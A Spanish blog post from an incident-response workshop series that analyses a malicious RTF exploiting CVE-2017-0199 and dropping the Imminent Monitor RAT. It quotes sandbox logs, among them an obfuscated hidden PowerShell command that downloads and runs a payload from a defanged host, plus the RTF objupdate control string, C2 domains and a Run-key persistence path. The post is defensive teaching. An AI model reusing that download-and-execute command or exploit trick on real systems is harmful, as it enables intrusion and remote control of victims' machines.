Estos artículos forman parte de un taller de respuesta ante incidente básico. Por ello, hay cosas que se podrían hacer de una forma más eficiente y elegante… pero la idea era hacerlas de forma sencilla para que fueran fáciles de entender. Y como todo buen taller práctico, se puede seguir paso a paso: es posible descargar una máquina virtual de Remnux con todo lo necesario para el taller aquí (para VMWare) o aquí (formato .ova))
Análisis adicional
El incidente quedó prácticamente resuelto en el artículo anterior, pero nos quedan todavía algunas dudas en el tintero:
- ¿Qué acciones ha realizado el malware en el sistema?
- ¿Qué tipo de malware es?
Para salir de dudas ejecutamos el documento en una máquina virtual especialmente tuneada con medidas anti-anti-VM, que además tiene Noriben y Sysmon instalado. Adicionalmente capturamos el tráfico saliente con WireShark para tener una visión lo más completa posible de lo que hace el malware.
[Nota: Puedes descargarte los resultados de las tres herramientas aquí].
Aquí tenéis un resumen de lo más relevante de la actividad del malware visto por Noriben:
-
- Observamos cómo se lanza Word:
CreateProcess WINWORD.EXE 3744 %ProgramFiles%\Microsoft Office\Office14\WINWORD.EXE /Embedding
- Word realiza una conexión TLS contra a[.]doko[.]moe:
Network TCP Send WINWORD.EXE 3744 185.83.215.16:443
- Word crea el .hta en un directorio temporal:
CreateFile WINWORD.EXE 3744 %LocalAppData%\Microsoft\Windows\Temporary Internet Files\Content.IE5\Z5QR0F05\svqxtm[1].hta
- El .hta es ejecutado por mshta.exe, y se observa una conexión adicional a a[.]doko[.]moe. Se lanza una instancia de powershell.
CreateProcess mshta.exe 1236 "%WinDir%\system32\cmd.exe PoWerSHEll.exE -EX ByPASs -noP -w hIdDeN (NeW-oBJEcT SySTEm.NeT.wEbcLIenT).DownLOADfIlE('https://a[.]doko[.]moe/gabkrj[.]jpg') Network TCP Send mshta.exe 1236 185.83.215.16:443
- El script crea el fichero “test 02.exe”, se conecta de nuevo con el dominio a.doko.moe y lo lanza.
CreateFile powershell.exe 3456 %LocalAppData%\Temp\test 02.exe Network TCP Send powershell.exe 3456 185.83.215.16:443 CreateProcess powershell.exe 3456 %LocalAppData%\Temp\test 02.exe
- El ejecutable “test 02.exe” crea el fichero vfggggg.exe y lo lanza a través de una instancia de explorer.exe
CreateFile test 02.exe 1392 %AppData%\vfggggg.exe CreateProcess test 02.exe 1392 %WinDir%\System32\explorer.exe /c select CreateProcess explorer.exe 1132 %AppData%\vfggggg.exe
- El malware crea una persistencia en el registro y crea los directorios en los que va a almacenar la información que registra la función de keylogger:
RegSetValue vfggggg.exe 3208 HKCU\Software\Microsoft\Windows\CurrentVersion\Run\dttrgsdcd CreateFile vfggggg.exe 2072 %AppData%\Imminent\Monitoring\network.dat CreateFile vfggggg.exe 2072 %AppData%\Imminent\Monitoring\system.dat
- Observamos cómo se lanza Word:
En este caso no tenemos conexiones con el segundo dominio (posiblemente por haber detenido Noriben antes de tiempo). Wireshark (que ha estado ejecutándose durante más tiempo) sí que nos muestra contacto contra el dominio dankleo01[.]chickenkiller[.]com:
Sysmon corrobora con todo lujo de detalles (sobre todo con los EventID 1,3 y 11, correspondientes a la creación de procesos, conexiones de red y ficheros) la información que nos ha facilitado Noriben.
En cuanto al tipo de malware, sin tener que entrar en el reversing una búsqueda en Internet por algunas cadenas características nos permite encontrar la siguiente información:
https://www.safer-networking.org/2017/manual-removal-guide-for-rat-imminent-2/
https://itsjack.cc/blog/2016/01/imminent-monitor-4-rat-analysis-a-glance/
https://itsjack.cc/blog/2016/03/imminent-monitor-4-rat-analysis-further-into-the-rat/
https://imminentmethods.net/purchase/
Al parecer nuestro malware es un RAT (Remote Administration Tool), una herramienta que permite al atacante tomar el control de nuestro equipo. Según la empresa que lo vende (en nuestro caso al 99% será una versión pirateada) Imminent permite entre otras cosas extraer las contraseñas de diversos navegadores, grabar con la webcam o hacer de keylogger.
Solo nos queda comprobar que el problema se resuelve aplicando el parche correspondiente (en nuestro caso, el KB3178710). Lo instalamos en nuestra máquina virtual y volvemos a replicar la ejecución del documento malicioso.
[Nota: Puedes descargarte los resultados de las tres herramientas con el parche aplicado aquí].
Con el equipo parcheado … ¡se sigue produciendo la conexión a a[.]doko[.]moe! ¿¡WTF!? Podemos comprobar que no existe la segunda conexión a chickenkiller[.]com, y que no se lanza realmente el Powershell. Sin embargo, sí que se produce la descarga del .hta
Para encontrar una respuesta a este enigma tenemos que indagar sobre el funcionamiento del exploit. En este artículo de nuestros compañeros de HackPlayers lo explican a la perfección:
http://www.hackplayers.com/2017/04/explotacion-practica-de-cve-2017-0199.html
Si os fijáis en el paso 6, los atacantes han modificado el RTF para que añadir la cadena “objupdate”:
\\object\\objautlink\\objupdate\\objw5816
El control objupdate es muy sibilino, ya que implica que el objeto tiene que actualizarse antes de mostrarse. Y dado que el contenido está en un enlace externo, genera la conexión (y de forma independiente a interacción alguna por parte del usuario como extra bonus). En este caso la conexión genera la descarga del .hta, que tenía que ser ejecutado por el exploit (que no ha podido explotar al estar la vulnerabilidad parcheada).
Lecciones aprendidas
El incidente ha sido ligero y ha terminado sin impacto para la Organización, pero nos ha dejado algunas lecciones de interés:
- El malware cada vez es más listo: ha logrado saltarse tanto el antivirus del servidor como el del equipo, y ha logrado esquivar el proxy y el cortafuegos con alegría torera.
- Los .hta no son necesarios en un 99.99% de los casos: bloquéalos con extremo prejuicio.
- Los parches son vitales para la salud de la IT de una Organización. Aplícalos con disciplina y no te dejes ni uno importante.
- Hay que concienciar a los usuarios. En muchos casos son la última línea de defensa de la Organización.
- Los parches vienen en tres sabores: individual, pack de seguridad y pack completo. Hay que revisar los tres antes de determinar si un parche está o no instalado.
- Los RTF los carga el diablo, y hacen cosas muy raras. Mucho ojo con ellos.
Un RAT, aunque sea viejuno, siempre es cosa seria. La vigilancia para que no entren ratas en tu Organización es necesaria, porque a nadie le gusta tener que “desRATizar”… ¡hasta la próxima!
Como siempre Antonio, unos posts de alta calidad con un contenido muy interesante!
Gracias y sigue asi.